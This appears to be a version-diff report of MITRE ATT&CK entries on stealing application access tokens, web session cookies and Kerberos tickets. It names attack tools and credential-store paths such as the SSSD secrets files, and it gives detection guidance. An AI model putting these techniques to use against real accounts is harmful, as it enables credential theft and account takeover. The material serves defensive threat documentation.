| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can steal user application access tokens as a me | t | 1 | Adversaries can steal application access tokens as a means o |
| > | ans of acquiring credentials to access remote systems and re | > | f acquiring credentials to access remote systems and resourc | ||
| > | sources. This can occur through social engineering and typic | > | es. Application access tokens are used to make authorized A | ||
| > | ally requires user action to grant access. Application acce | > | PI requests on behalf of a user or service and are commonly | ||
| > | ss tokens are used to make authorized API requests on behalf | > | used as a way to access resources in cloud and container-bas | ||
| > | of a user and are commonly used as a way to access resource | > | ed applications and software-as-a-service (SaaS).(Citation: | ||
| > | s in cloud-based applications and software-as-a-service (Saa | > | Auth0 - Why You Should Always Use Access Tokens to Secure AP | ||
| > | S).(Citation: Auth0 - Why You Should Always Use Access Token | > | Is Sept 2019) OAuth is one commonly implemented framework th | ||
| > | s to Secure APIs Sept 2019) OAuth is one commonly implemente | > | at issues tokens to users for access to systems. Adversaries | ||
| > | d framework that issues tokens to users for access to system | > | who steal account API tokens in cloud and containerized env | ||
| > | s. An application desiring access to cloud-based services or | > | ironments may be able to access data and perform actions wit | ||
| > | protected APIs can gain entry using OAuth 2.0 through a var | > | h the permissions of these accounts, which can lead to privi | ||
| > | iety of authorization protocols. An example commonly-used se | > | lege escalation and further compromise of the environment. | ||
| > | quence is Microsoft's Authorization Code Grant flow.(Citatio | > | In Kubernetes environments, processes running inside a conta | ||
| > | n: Microsoft Identity Platform Protocols May 2019)(Citation: | > | iner communicate with the Kubernetes API server using servic | ||
| > | Microsoft - OAuth Code Authorization flow - June 2019) An O | > | e account tokens. If a container is compromised, an attacker | ||
| > | Auth access token enables a third-party application to inter | > | may be able to steal the container’s token and thereby gain | ||
| > | act with resources containing user data in the ways requeste | > | access to Kubernetes API commands.(Citation: Kubernetes Ser | ||
| > | d by the application without obtaining user credentials. | > | vice Accounts) Token theft can also occur through social en | ||
| > | Adversaries can leverage OAuth authorization by constructing | > | gineering, in which case user action may be required to gran | ||
| > | a malicious application designed to be granted access to re | > | t access. An application desiring access to cloud-based serv | ||
| > | sources with the target user's OAuth token. The adversary wi | > | ices or protected APIs can gain entry using OAuth 2.0 throug | ||
| > | ll need to complete registration of their application with t | > | h a variety of authorization protocols. An example commonly- | ||
| > | he authorization server, for example Microsoft Identity Plat | > | used sequence is Microsoft's Authorization Code Grant flow.( | ||
| > | form using Azure Portal, the Visual Studio IDE, the command- | > | Citation: Microsoft Identity Platform Protocols May 2019)(Ci | ||
| > | line interface, PowerShell, or REST API calls.(Citation: Mic | > | tation: Microsoft - OAuth Code Authorization flow - June 201 | ||
| > | rosoft - Azure AD App Registration - May 2019) Then, they ca | > | 9) An OAuth access token enables a third-party application t | ||
| > | n send a link through [Spearphishing Link](https://attack.mi | > | o interact with resources containing user data in the ways r | ||
| > | tre.org/techniques/T1192) to the target user to entice them | > | equested by the application without obtaining user credentia | ||
| > | to grant access to the application. Once the OAuth access to | > | ls. Adversaries can leverage OAuth authorization by const | ||
| > | ken is granted, the application can gain potentially long-te | > | ructing a malicious application designed to be granted acces | ||
| > | rm access to features of the user account through [Applicati | > | s to resources with the target user's OAuth token.(Citation: | ||
| > | on Access Token](https://attack.mitre.org/techniques/T1527). | > | Amnesty OAuth Phishing Attacks, August 2019)(Citation: Tren | ||
| > | (Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) | > | d Micro Pawn Storm OAuth 2017) The adversary will need to co | ||
| > | Adversaries have been seen targeting Gmail, Microsoft Outlo | > | mplete registration of their application with the authorizat | ||
| > | ok, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing A | > | ion server, for example Microsoft Identity Platform using Az | ||
| > | ttacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth | > | ure Portal, the Visual Studio IDE, the command-line interfac | ||
| > | 2017) | > | e, PowerShell, or REST API calls.(Citation: Microsoft - Azur | ||
| > | e AD App Registration - May 2019) Then, they can send a [Spe | ||||
| > | arphishing Link](https://attack.mitre.org/techniques/T1566/0 | ||||
| > | 02) to the target user to entice them to grant access to the | ||||
| > | application. Once the OAuth access token is granted, the ap | ||||
| > | plication can gain potentially long-term access to features | ||||
| > | of the user account through [Application Access Token](https | ||||
| > | ://attack.mitre.org/techniques/T1550/001).(Citation: Microso | ||||
| > | ft - Azure AD Identity Tokens - Aug 2019) Application acces | ||||
| > | s tokens may function within a limited lifetime, limiting ho | ||||
| > | w long an adversary can utilize the stolen token. However, i | ||||
| > | n some cases, adversaries can also steal application refresh | ||||
| > | tokens(Citation: Auth0 Understanding Refresh Tokens), allow | ||||
| > | ing them to obtain new access tokens without prompting the u | ||||
| > | ser. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:16:30.906000+00:00 | 2022-04-21 16:25:11.482000+00:00 |
| description | Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) Token theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. |
| external_references[1]['source_name'] | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 | Amnesty OAuth Phishing Attacks, August 2019 |
| external_references[1]['description'] | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. | Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019. |
| external_references[1]['url'] | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ | https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/ |
| external_references[2]['source_name'] | Microsoft Identity Platform Protocols May 2019 | Auth0 Understanding Refresh Tokens |
| external_references[2]['description'] | Microsoft. (n.d.). Retrieved September 12, 2019. | Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols | https://auth0.com/learn/refresh-tokens/ |
| external_references[3]['source_name'] | Microsoft - OAuth Code Authorization flow - June 2019 | Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 |
| external_references[3]['description'] | Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019. | Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. |
| external_references[3]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow | https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ |
| external_references[4]['source_name'] | Microsoft - Azure AD App Registration - May 2019 | Trend Micro Pawn Storm OAuth 2017 |
| external_references[4]['description'] | Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019. | Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app | https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks |
| external_references[5]['source_name'] | Microsoft - Azure AD Identity Tokens - Aug 2019 | Kubernetes Service Accounts |
| external_references[5]['description'] | Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019. | Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens | https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ |
| external_references[6]['source_name'] | Amnesty OAuth Phishing Attacks, August 2019 | Microsoft - Azure AD Identity Tokens - Aug 2019 |
| external_references[6]['description'] | Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019. | Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019. |
| external_references[6]['url'] | https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/ | https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens |
| external_references[7]['source_name'] | Trend Micro Pawn Storm OAuth 2017 | Microsoft - Azure AD App Registration - May 2019 |
| external_references[7]['description'] | Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019. | Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019. |
| external_references[7]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks | https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app |
| x_mitre_data_sources[0] | Azure activity logs | User Account: User Account Modification |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft - OAuth Code Authorization flow - June 2019', 'description': 'Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow'} | |
| external_references | {'source_name': 'Microsoft Identity Platform Protocols May 2019', 'description': 'Microsoft. (n.d.). Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols'} | |
| x_mitre_contributors | Suzy Schapperle - Microsoft Azure Red Team | |
| x_mitre_contributors | Ram Pliskin, Microsoft Azure Security Center | |
| x_mitre_contributors | Jen Burns, HubSpot | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Containers |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | OAuth audit logs |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may steal web application or service session co | t | 1 | An adversary may steal web application or service session co |
| > | okies and use them to gain access web applications or Intern | > | okies and use them to gain access to web applications or Int | ||
| > | et services as an authenticated user without needing credent | > | ernet services as an authenticated user without needing cred | ||
| > | ials. Web applications and services often use session cookie | > | entials. Web applications and services often use session coo | ||
| > | s as an authentication token after a user has authenticated | > | kies as an authentication token after a user has authenticat | ||
| > | to a website. Cookies are often valid for an extended perio | > | ed to a website. Cookies are often valid for an extended pe | ||
| > | d of time, even if the web application is not actively used. | > | riod of time, even if the web application is not actively us | ||
| > | Cookies can be found on disk, in the process memory of the | > | ed. Cookies can be found on disk, in the process memory of t | ||
| > | browser, and in network traffic to remote systems. Additiona | > | he browser, and in network traffic to remote systems. Additi | ||
| > | lly, other applications on the targets machine might store s | > | onally, other applications on the targets machine might stor | ||
| > | ensitive authentication cookies in memory (e.g. apps which a | > | e sensitive authentication cookies in memory (e.g. apps whic | ||
| > | uthenticate to cloud services). Session cookies can be used | > | h authenticate to cloud services). Session cookies can be us | ||
| > | to bypasses some multi-factor authentication protocols.(Cita | > | ed to bypasses some multi-factor authentication protocols.(C | ||
| > | tion: Pass The Cookie) There are several examples of malwar | > | itation: Pass The Cookie) There are several examples of mal | ||
| > | e targeting cookies from web browsers on the local system.(C | > | ware targeting cookies from web browsers on the local system | ||
| > | itation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Ma | > | .(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 | ||
| > | c Crypto Cookies January 2019) There are also open source fr | > | Mac Crypto Cookies January 2019) There are also open source | ||
| > | ameworks such as Evilginx 2 and Muraena that can gather sess | > | frameworks such as Evilginx 2 and Muraena that can gather s | ||
| > | ion cookies through a man-in-the-middle proxy that can be se | > | ession cookies through a malicious proxy (ex: [Adversary-in- | ||
| > | t up by an adversary and used in phishing campaigns.(Citatio | > | the-Middle](https://attack.mitre.org/techniques/T1557)) that | ||
| > | n: Github evilginx2)(Citation: GitHub Mauraena) After an ad | > | can be set up by an adversary and used in phishing campaign | ||
| > | versary acquires a valid cookie, they can then perform a [We | > | s.(Citation: Github evilginx2)(Citation: GitHub Mauraena) A | ||
| > | b Session Cookie](https://attack.mitre.org/techniques/T1506) | > | fter an adversary acquires a valid cookie, they can then per | ||
| > | technique to login to the corresponding web application. | > | form a [Web Session Cookie](https://attack.mitre.org/techniq | ||
| > | ues/T1550/004) technique to login to the corresponding web a | ||||
| > | pplication. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-21 15:26:25.584000+00:00 | 2021-07-28 01:26:51.971000+00:00 |
| description | An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application. | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. |
| external_references[3]['description'] | Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. | Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
Current version: 1.4
Version changed from: 1.1 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to subvert Kerberos authentication b | t | 1 | Adversaries may attempt to subvert Kerberos authentication b |
| > | y stealing or forging Kerberos tickets to enable [Pass the T | > | y stealing or forging Kerberos tickets to enable [Pass the T | ||
| > | icket](https://attack.mitre.org/techniques/T1550/003). Ker | > | icket](https://attack.mitre.org/techniques/T1550/003). Kerbe | ||
| > | beros is an authentication protocol widely used in modern Wi | > | ros is an authentication protocol widely used in modern Wind | ||
| > | ndows domain environments. In Kerberos environments, referre | > | ows domain environments. In Kerberos environments, referred | ||
| > | d to as “realms”, there are three basic participants: client | > | to as “realms”, there are three basic participants: client, | ||
| > | , service, and Key Distribution Center (KDC).(Citation: ADSe | > | service, and Key Distribution Center (KDC).(Citation: ADSecu | ||
| > | curity Kerberos Ring Decoder) Clients request access to a se | > | rity Kerberos Ring Decoder) Clients request access to a serv | ||
| > | rvice and through the exchange of Kerberos tickets, originat | > | ice and through the exchange of Kerberos tickets, originatin | ||
| > | ing from KDC, they are granted access after having successfu | > | g from KDC, they are granted access after having successfull | ||
| > | lly authenticated. The KDC is responsible for both authentic | > | y authenticated. The KDC is responsible for both authenticat | ||
| > | ation and ticket granting. Attackers may attempt to abuse K | > | ion and ticket granting. Adversaries may attempt to abuse K | ||
| > | erberos by stealing tickets or forging tickets to enable una | > | erberos by stealing tickets or forging tickets to enable una | ||
| > | uthorized access. | > | uthorized access. On Windows, the built-in <code>klist</cod | ||
| > | e> utility can be used to list and analyze cached Kerberos t | ||||
| > | ickets.(Citation: Microsoft Klist) Linux systems on Active | ||||
| > | Directory domains store Kerberos credentials locally in the | ||||
| > | credential cache file referred to as the "ccache". The crede | ||||
| > | ntials are stored in the ccache file while they remain valid | ||||
| > | and generally while a user's session lasts.(Citation: MIT c | ||||
| > | cache) On modern Redhat Enterprise Linux systems, and deriva | ||||
| > | tive distributions, the System Security Services Daemon (SSS | ||||
| > | D) handles Kerberos tickets. By default SSSD maintains a cop | ||||
| > | y of the ticket database that can be found in <code>/var/lib | ||||
| > | /sss/secrets/secrets.ldb</code> as well as the corresponding | ||||
| > | key located in <code>/var/lib/sss/secrets/.secrets.mkey</co | ||||
| > | de>. Both files require root access to read. If an adversary | ||||
| > | is able to access the database and key, the credential cach | ||||
| > | e Kerberos blob can be extracted and converted into a usable | ||||
| > | Kerberos ccache file that adversaries may use for [Pass the | ||||
| > | Ticket](https://attack.mitre.org/techniques/T1550/003). The | ||||
| > | ccache file may also be converted into a Windows format usi | ||||
| > | ng tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Ci | ||||
| > | tation: Brining MimiKatz to Unix)(Citation: Kekeo) Kerbero | ||||
| > | s tickets on macOS are stored in a standard ccache format, s | ||||
| > | imilar to Linux. By default, access to these ccache entries | ||||
| > | is federated through the KCM daemon process via the Mach RPC | ||||
| > | protocol, which uses the caller's environment to determine | ||||
| > | access. The storage location for these ccache entries is inf | ||||
| > | luenced by the <code>/etc/krb5.conf</code> configuration fil | ||||
| > | e and the <code>KRB5CCNAME</code> environment variable which | ||||
| > | can specify to save them to disk or keep them protected via | ||||
| > | the KCM daemon. Users can interact with ticket storage usin | ||||
| > | g <code>kinit</code>, <code>klist</code>, <code>ktutil</code | ||||
| > | >, and <code>kcc</code> built-in binaries or via Apple's nat | ||||
| > | ive Kerberos framework. Adversaries can use open source tool | ||||
| > | s to interact with the ccache files directly or to use the K | ||||
| > | erberos framework to call lower-level APIs for extracting th | ||||
| > | e user's TGT or Service Tickets.(Citation: SpectorOps Bifros | ||||
| > | t Kerberos macOS 2019)(Citation: macOS kerberos framework MI | ||||
| > | T) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Tim (Wadhwa-)Brown', 'Cody Thomas, SpecterOps'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_permissions_required | ['User', 'root'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-29 16:16:06.868000+00:00 | 2022-03-08 21:45:01.934000+00:00 |
| description | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
|
| external_references[3]['source_name'] | ADSecurity Detecting Forged Tickets | Microsoft Klist |
| external_references[3]['description'] | Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. | Microsoft. (2021, March 3). klist. Retrieved October 14, 2021. |
| external_references[3]['url'] | https://adsecurity.org/?p=1515 | https://docs.microsoft.com/windows-server/administration/windows-commands/klist |
| external_references[4]['source_name'] | Stealthbits Detect PtT 2019 | MIT ccache |
| external_references[4]['description'] | Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020. | Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021. |
| external_references[4]['url'] | https://blog.stealthbits.com/detect-pass-the-ticket-attacks | https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html |
| external_references[5]['source_name'] | CERT-EU Golden Ticket Protection | Linux Kerberos Tickets |
| external_references[5]['description'] | Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. | Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021. |
| external_references[5]['url'] | https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf | https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html |
| external_references[6]['source_name'] | Microsoft Kerberos Golden Ticket | Brining MimiKatz to Unix |
| external_references[6]['description'] | Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020. | Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. |
| external_references[6]['url'] | https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 | https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf |
| external_references[7]['source_name'] | Microsoft Detecting Kerberoasting Feb 2018 | Kekeo |
| external_references[7]['description'] | Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018. | Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021. |
| external_references[7]['url'] | https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ | https://github.com/gentilkiwi/kekeo |
| external_references[8]['source_name'] | AdSecurity Cracking Kerberos Dec 2015 | SpectorOps Bifrost Kerberos macOS 2019 |
| external_references[8]['description'] | Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018. | Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021. |
